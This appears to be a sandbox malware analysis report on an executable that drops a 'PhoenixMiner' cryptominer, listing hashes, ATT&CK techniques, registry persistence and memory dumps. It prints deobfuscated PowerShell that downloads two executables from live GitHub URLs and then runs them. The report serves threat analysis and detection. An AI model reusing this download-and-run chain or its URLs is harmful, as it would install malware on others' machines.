5b438029e5a3e3843b22f8f49fa1ccac728eeced3f923426be8b22c35b27b6f6

General

Target

3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe
Size

8.3MB
MD5

9ed9ad87a1564fbb5e1b652b3e7148c8
SHA1

0c001b7e9615cbc22eac2a324d8deb7eaf069ff7
SHA256

3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89
SHA512

e49e403a73ff1d10111d23cc70ae95ffae63abbc4a52cfc52c447ee9f15e76ab44f07d0f41e3b3e63a73a07e7748b8ac7ed8c997f1051a10ca5fad1dace4183a

Score

10^/10

persistence

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://raw.githubusercontent.com/jkh36/d/main/bild.exe

exe.dropper

https://raw.githubusercontent.com/jkh36/d/main/PhoenixMiner.exe

Signatures

Executes dropped EXE 1 IoCs

Processes:

PhoenixMiner.exe

pid process

3536 PhoenixMiner.exe

pid	process
3536	PhoenixMiner.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

PhoenixMiner.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	PhoenixMiner.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	PhoenixMiner.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

4860 powershell.exe
4860 powershell.exe
2044 powershell.exe
2044 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 4860 powershell.exe
Token: SeDebugPrivilege 2044 powershell.exe

pid	process
4860	powershell.exe
4860	powershell.exe
2044	powershell.exe
2044	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4860	powershell.exe
Token: SeDebugPrivilege	2044	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exePhoenixMiner.exe

description	pid	process	target process
PID 2596 wrote to memory of 3536	2596	3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe	PhoenixMiner.exe
PID 2596 wrote to memory of 3536	2596	3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe	PhoenixMiner.exe
PID 2596 wrote to memory of 3536	2596	3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe	PhoenixMiner.exe
PID 3536 wrote to memory of 4860	3536	PhoenixMiner.exe	powershell.exe
PID 3536 wrote to memory of 4860	3536	PhoenixMiner.exe	powershell.exe
PID 3536 wrote to memory of 4860	3536	PhoenixMiner.exe	powershell.exe
PID 3536 wrote to memory of 2044	3536	PhoenixMiner.exe	powershell.exe
PID 3536 wrote to memory of 2044	3536	PhoenixMiner.exe	powershell.exe
PID 3536 wrote to memory of 2044	3536	PhoenixMiner.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe
"C:\Users\Admin\AppData\Local\Temp\3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2596

C:\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exe"
2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3536

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -command Import-Module BitsTransfer; Start-BitsTransfer -Source https://raw.githubusercontent.com/jkh36/d/main/bild.exe,https://raw.githubusercontent.com/jkh36/d/main/PhoenixMiner.exe -Destination lWr.exe,ck.exe;
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4860

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -command Start-Process lWr.exe; Start-Process ck.exe;
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2044

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
b6deac3351c943410eafe90bc93687c8

SHA1
34ff10b6e186ff6f7b6f39ebb127ee137ade5589

SHA256
1775d61fb6831a2c572bb51d5772952ee13bbee68bde0367546bb04811a70f0a

SHA512
3e025c20277dff003fe09afa2a9014d2fe42761bec935f7d7eb917ddb5b8760d5e3bc643e81d28fa7352c398cbdffcc0dbb5302e7fc6b97969387a3ef313b880

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
19KB

MD5
be8d3d727d0b7f29b2887b4a56bc4769

SHA1
7206d2bcf0f03be49994039d29cf5639c2c31e1a

SHA256
a89667451c4b5790a908dc451fb77c4d450fb9092bc7a301df07135ad56d9dc1

SHA512
cb4203ff82a799080fb44cde3c79385fcb5823239b096489323220b5d21e4ddbb67560194357edfa8d7c2b7146ed46835befa08771cb3d6df714eceb339d0d0b

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C:\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exe
Filesize
8.2MB

MD5
c74ab76362f2321b7143e8ba2517c16b

SHA1
6b4c65e2b1ba59d155c5d453285fae4d3e52b2a6

SHA256
938cb901511ceac91acd8b1eaadabd01688852ed1121250b1c5e587f9ee0512f

SHA512
2a506ba53d4dc837bfabee920617fddc2152fb0a474f6a197086c6ce1aadf7b1f1bc64e8d27b9759cdd567675273c99f6af29c61e9a6c5184171336a1a869a17

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exe
Filesize
8.2MB

MD5
c74ab76362f2321b7143e8ba2517c16b

SHA1
6b4c65e2b1ba59d155c5d453285fae4d3e52b2a6

SHA256
938cb901511ceac91acd8b1eaadabd01688852ed1121250b1c5e587f9ee0512f

SHA512
2a506ba53d4dc837bfabee920617fddc2152fb0a474f6a197086c6ce1aadf7b1f1bc64e8d27b9759cdd567675273c99f6af29c61e9a6c5184171336a1a869a17

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memory/2044-152-0x00000000079E0000-0x00000000079FE000-memory.dmp

Filesize
120KB

Download
memory/2044-155-0x0000000008030000-0x000000000803E000-memory.dmp

Filesize
56KB

Download
memory/2044-154-0x0000000007E80000-0x0000000007E8A000-memory.dmp

Filesize
40KB

Download
memory/2044-153-0x0000000008DF0000-0x000000000946A000-memory.dmp

Filesize
6.5MB

Download
memory/2044-147-0x0000000000000000-mapping.dmp

Download
memory/2044-151-0x000000006FD40000-0x000000006FD8C000-memory.dmp

Filesize
304KB

Download
memory/2044-150-0x0000000007CD0000-0x0000000007D02000-memory.dmp

Filesize
200KB

Download
memory/2044-156-0x0000000008080000-0x000000000809A000-memory.dmp

Filesize
104KB

Download
memory/2044-157-0x0000000008070000-0x0000000008078000-memory.dmp

Filesize
32KB

Download
memory/3536-132-0x0000000000000000-mapping.dmp

Download
memory/4860-138-0x00000000051C0000-0x00000000051E2000-memory.dmp

Filesize
136KB

Download
memory/4860-146-0x0000000007580000-0x0000000007594000-memory.dmp

Filesize
80KB

Download
memory/4860-145-0x00000000077C0000-0x0000000007D64000-memory.dmp

Filesize
5.6MB

Download
memory/4860-144-0x0000000007140000-0x0000000007162000-memory.dmp

Filesize
136KB

Download
memory/4860-143-0x0000000006660000-0x000000000667A000-memory.dmp

Filesize
104KB

Download
memory/4860-142-0x00000000066D0000-0x0000000006766000-memory.dmp

Filesize
600KB

Download
memory/4860-141-0x0000000006180000-0x000000000619E000-memory.dmp

Filesize
120KB

Download
memory/4860-140-0x0000000005B40000-0x0000000005BA6000-memory.dmp

Filesize
408KB

Download
memory/4860-139-0x0000000005A60000-0x0000000005AC6000-memory.dmp

Filesize
408KB

Download
memory/4860-137-0x0000000005240000-0x0000000005868000-memory.dmp

Filesize
6.2MB

Download
memory/4860-136-0x0000000004BD0000-0x0000000004C06000-memory.dmp

Filesize
216KB

Download
memory/4860-135-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads